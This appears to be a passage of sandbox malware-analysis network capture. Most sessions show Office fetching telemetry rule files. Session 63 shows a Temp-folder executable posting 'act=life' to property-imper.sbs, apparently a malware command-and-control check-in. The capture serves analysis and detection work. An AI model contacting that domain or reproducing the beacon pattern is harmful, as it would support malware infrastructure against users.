2024-11-23 02:21:26 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.4	49797	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:25 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:26 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:26 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 0a397e49-e01e-0051-357f-3b84b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022126Z-174c587ffdf7t49mhC1TEB4qbg000000028g000000006f0q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:26 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.4	49798	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:27 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:27 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:27 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 6b17e566-f01e-003f-7a44-3cd19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022127Z-178bfbc474bgvl54hC1NYCsfuw00000003t000000000f2xs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:27 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.4	49800	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:27 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:28 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:27 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 961908b5-401e-0016-178c-3a53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022127Z-174c587ffdf8fcgwhC1TEBnn7000000002h00000000038b1 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:28 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.4	49799	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:27 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:28 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:28 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: cf2b2526-c01e-0082-5660-3baf72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022128Z-178bfbc474btrnf9hC1NYCb80g00000003xg00000000k3gk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:28 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.4	49802	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:28 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:28 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:28 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 2145ee07-e01e-003c-0347-3cc70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022128Z-15b8b599d889fz52hC1TEB59as000000025g00000000k1f4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:28 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.4	49801	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:28 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:28 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:28 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: db5fa324-001e-00ad-2244-3c554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022128Z-15b8b599d886w4hzhC1TEBb4ug00000002eg0000000018pp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:28 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.4	49803	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:29 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:30 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 2151d667-701e-0021-3e0f-3d3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022130Z-178bfbc474bv7whqhC1NYC1fg400000003w0000000006s7f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:30 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.4	49807	172.67.162.84	443	8096	C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:29 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: property-imper.sbs
2024-11-23 02:21:29 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-23 02:21:30 UTC	1011	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=rb3igs90sgsusdkf1fppoqsviu; expires=Tue, 18-Mar-2025 20:08:09 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YCd0aAeBZZn4EYgtB3lExy%2FU51UdXguUticS86k2Eoka00JB7XZ5YTiQ7ppp5rPgoD0c7kNjS2vJSK6OQG9Cw7kfgs9e%2FKsXteC08FUKkP7BZBvGgVjDwI50g7bBj63ME2XPO4c%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e6dafa729104245-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2132&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=909&delivery_rate=1361305&cwnd=187&unsent_bytes=0&cid=fe92c389017ea172&ts=734&x=0"
2024-11-23 02:21:30 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-23 02:21:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.4	49804	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:29 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:30 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 0ecd932e-001e-0066-5d4b-3c561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022130Z-15b8b599d88tr2flhC1TEB5gk400000002cg00000000c711 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:30 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.4	49805	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:30 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:30 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: f3939d66-c01e-00ad-3d3c-3ca2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022130Z-178bfbc474bp8mkvhC1NYCzqnn00000003mg00000000guy7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:30 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.4	49808	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:30 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:30 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: ecab23c4-c01e-00ad-2963-3ba2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022130Z-178bfbc474bxkclvhC1NYC69g400000003ng00000000p8g9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:30 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.4	49809	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:30 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
